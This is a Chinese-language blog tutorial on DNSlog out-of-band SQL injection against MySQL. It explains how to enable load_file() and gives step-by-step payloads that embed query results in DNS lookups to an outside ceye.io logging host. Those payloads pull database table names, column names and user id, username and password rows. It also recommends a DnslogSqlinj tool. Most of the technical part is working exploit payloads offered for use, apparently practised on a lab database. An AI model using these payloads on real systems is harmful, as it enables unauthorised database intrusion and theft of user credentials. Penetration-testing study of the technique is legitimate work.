• DNSlog注入


    原理

    我们无法数据库存储的数据,但当我们请求网址时,浏览器会将网址发给DNS服务器,通过服务器找到对应的IP地址并且数据库会把自己的数据给dns服务器,于是我们可以请求自己的网址,并在dnslog上找到我们请求的记录

    直接看到

    使用函数

    • load_file()

    关于load_file()函数的权限配置问题

    • 用show variables like "secure_file_priv"查看导入导出时的目录权限
    • 如果secure_file_priv是NULL说明,是不允许导入导出的
    • 需要在my.ini中改成secure_file_priv=""
      如果没有secure_file_priv需要自己添加,切记是在[mysqld]下的位置配置

      之后,重启mysql服务就好
      补充 当你发现在mysql中用load_file()构造语句,访问自己的ceye.io网址时,平台没有dnslog记录;你用curl命令构造语句,平台是可以记录的,那十有八九是load_file()函数目录权限的问题。

    手工注入

    获取当前数据库中的数据表

    • 使用命令:and load_file(concat('\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.ndlwi5.ceye.io\abc))--+

    命令分析

    1. 利用部分
      (select table_name from information_schema.tables where table_schema=database() limit 0,1)此处是我们利用的代码位置
    2. 可持续获取数据
    • 获取当前库中的所有表,可以在命令中的limit 0,1处改变0(起始位置)的值,来实现获取所有的表(可借助BurpSuite来实现)
    • 也可以直接使用如下命令 and load_file(concat('\\',hex((select group_concat(table_name) from information_schema.tables where table_schema=database())),'.ndlwi5.ceye.io\abc'))--+

      DNSlog获取的数据

      将hex()编码后的数据解码
    1. \abc
      是为了指定一个目标,让load_file去找,找不找得到不重要,去找就行了

    获取表中的列

    • 使用命令:and load_file(concat('\\',hex((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')),'.ndlwi5.ceye.io\abc'))--+

    获取数据

    • 使用命令:
    • and load_file(concat('\\',hex((select concat_ws(0x3a,id,username,password) from users limit 0,1)),'.ndlwi5.ceye.io\abc'))--+


      这样获取了user表中的第一行数据
      接下来节注BurpSuite来辅助我们获取数据


    使用工具

    经历了上面的手工注入后,整个人是疲倦的。有没有方便的工具来帮助我们来获取数据呢?
    DNSlog注入工具:https://github.com/ADOOO/DnslogSqlinj
    切记需要在ceye.io平台注册账号,然后将API和http在config.py中修改成自己的

    检测指定位置是否可以进行dnslog注入

    检测数据库名称

    获取security库中的数据表名称

    获取security库user表中的字段名

    获取emails表中的字段名

    感悟

    回想起生说中的一件事情:公司某同事(攻击者)完成了组长(数据库)交代的任务(查询语句),但是并不知道最终的结果会是什么,但是组长的领导(DNS)是自己的舅舅,于是便问舅舅自己做的这件事最终是个什么结果,作为一家人,那自然......

  • 相关阅读:
    PLSQL Developer删除奇葩表出现异常ORA-00942: 表或试图不存在
    EXP-00056遇到Oracle错误1455问题解决办法
    一个简单企业信息网站架构
    LigerUI编辑表格组件单元格校验问题
    Java分布式:分布式锁之Redis实现
    Java分布式:分布式锁之Zookeeper
    SpringBoot小技巧:统一异常处理
    Quartz学习笔记:集群部署&高可用
    GIT实践:同步远程分支
    SpringBoot小技巧:Jar包换War包
  • 原文地址:https://www.cnblogs.com/ceiling-/p/14886557.html
Copyright © 2020-2023  润新知